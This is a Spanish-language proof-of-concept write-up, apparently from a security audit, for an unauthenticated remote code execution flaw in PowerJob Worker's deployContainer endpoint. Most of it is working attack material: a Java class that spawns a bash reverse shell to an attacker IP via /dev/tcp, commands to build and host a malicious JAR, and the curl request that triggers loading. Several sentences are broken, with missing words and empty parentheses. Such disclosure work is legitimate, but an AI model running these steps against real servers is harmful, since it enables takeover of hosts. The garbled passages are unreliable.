
Prueba de concepto del exploit para CVE-2026-75430, que logra ejecución remota de código no autenticada en PowerJob Worker mediante la carga arbitraria de JAR a través del endpoint deployContainer.
/worker/deployContainer (Carga Arbitraria de JAR)El Worker de PowerJob expone el manejador deployContainer en su puerto de transporte HTTP 27777 sin autenticación alguna. Un atacante envía una URL arbitraria; el Worker descarga ese JAR y lo carga mediante URLClassLoader + Spring ClassPathXmlApplicationContext, ejecutando código arbitrario durante el init-method de Spring → RCE en el Worker. El docker-compose predeterminado publica este puerto en el host.
Precondición (declaración honesta): el Worker debe estar en ejecución (27777 escuchando). En la configuración predeterminada, el Worker valida al inicio que su aplicación esté registrada en el servidor (); (verificado: el proceso Java termina con código 1). Por lo tanto, un estado estrictamente nuevo de "docker-compose up sin configuración de consola" no es directamente explotable. Sin embargo, (de lo contrario, el sistema no programa ningún trabajo), por lo que , tras lo cual el exploit no requiere credenciales. En contraste, el hallazgo relacionado PJ-08 (servidor ) no tiene tal precondición — el servidor enlaza el puerto 10010 al inicio de forma incondicional.
/server/assert/friend/processpowerjob-worker, implementado mediante la imagen oficial powerjob-worker-samples)docker-compose.yml, protocolo HTTP, puerto 27777 (PowerJobWorkerConfig.java:34)| Elemento | Valor |
|---|---|
| Punto de entrada | POST http://<worker>:27777/worker/deployContainer |
| Manejador | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), sin autenticación) |
| Descarga | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| Carga | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
Cuerpo de la solicitud ServerDeployContainerRequest (campos containerId/containerName/version/downloadURL).
WorkerActor confía plenamente en downloadURL.OmsContainerFactory descarga el JAR desde una URL arbitraria e inmediatamente llama a OmsJarContainer.init(): carga con URLClassLoader + refresh() del contexto Spring → el código malicioso se ejecuta durante la inicialización de clases/Beans.Precondición: el Worker está en ejecución y 27777 está escuchando (satisfecha por cualquier implementación de producción/demo; si el operador siguió el flujo oficial y creó la aplicación de muestra, el Worker está en línea). Para la reproducción, el Worker puede iniciarse con --powerjob.worker.allow-lazy-connect-server=true para omitir la verificación de registro de la aplicación (no recomendado en producción; nótese que el interruptor solo afecta si el Worker se pone en línea — no cambia la falta de autenticación en el puerto abierto).
OmsJarContainer.init()):
oms-worker-container.properties con PACKAGE_NAME=com.evilcom/evil/Exploit.class — una clase que expone un init-method de Spring (p. ej. run()) que ejecuta un comandooms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>POST /worker/deployContainer al puerto 27777 del Worker con el cuerpo {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<atacante>/evil.jar"}.OmsJarContainer.init(): OhMyClassLoader.load() carga la clase (no ejecuta inicializadores estáticos), luego ClassPathXmlApplicationContext.refresh() instancia el bean e invoca el init-method → ejecución arbitraria de comandos (con los privilegios de ejecución del Worker).AbstractScriptProcessor.java:118-123 también admite la descarga desde una URL arbitraria → SSRF en el lado del Worker.Sin eco de salida: el manejador
deployContainerdevuelvevoid, por lo que la respuesta HTTP no lleva la salida del comando (verificado: cuerpo vacío). Para la ejecución interactiva de comandos, la técnica principal es una reverse shell (ver Reproducción a continuación); la variante del archivo marcador es solo una verificación local no interactiva.
Entorno: JDK 21, powerjob-worker-samples-5.1.2.jar compilado desde el código fuente, Worker escuchando en 192.168.49.128:27777 (iniciado con --powerjob.worker.allow-lazy-connect-server=true para omitir el registro de la aplicación).
Principal — reverse shell (ejecución interactiva de comandos):
El Exploit.run() del JAR malicioso (init-method de Spring) genera una reverse shell. Dado que no hay eco de salida, esta es la forma efectiva de obtener ejecución interactiva de comandos en el host del Worker.
# 1) El atacante escucha primero:
nc -lvnp 7878
# 2) Construcción del JAR malicioso — Exploit.run() ejecuta una reverse shell bash
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # alojar evil.jar
# 3) Disparo (sin credenciales):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'

Alternativamente, usar el script para verificar: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
Punto clave del PoC:
OhMyClassLoader.load()solo llama aloadClass(), que no ejecuta inicializadores estáticos; el punto real de ejecución es el init-method de Spring invocado porClassPathXmlApplicationContext.refresh(). Por lo tanto, el JAR malicioso debe llevar el XML de Spring y declararinit-method. La reverse shell debe ejecutarse mediante/bin/bash -cporque/bin/sh(dash) no analiza/dev/tcp.
deployContainer solo se active desde un Servidor de confianza y validar el origen.downloadURL a direcciones internas de confianza; verificar el hash/firma del JAR antes de cargarlo.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 CríticoPowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md (PJ-09)192.168.49.128:27777, sin credenciales → RCE en Worker); ver ## 6. ReproducciónPowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py (auto-construcción del JAR + alojamiento + disparo, --reverse-shell, -p/--proxy)SECURITY.md de PowerJob (Tidelift / [email protected] / GitHub Security Advisory)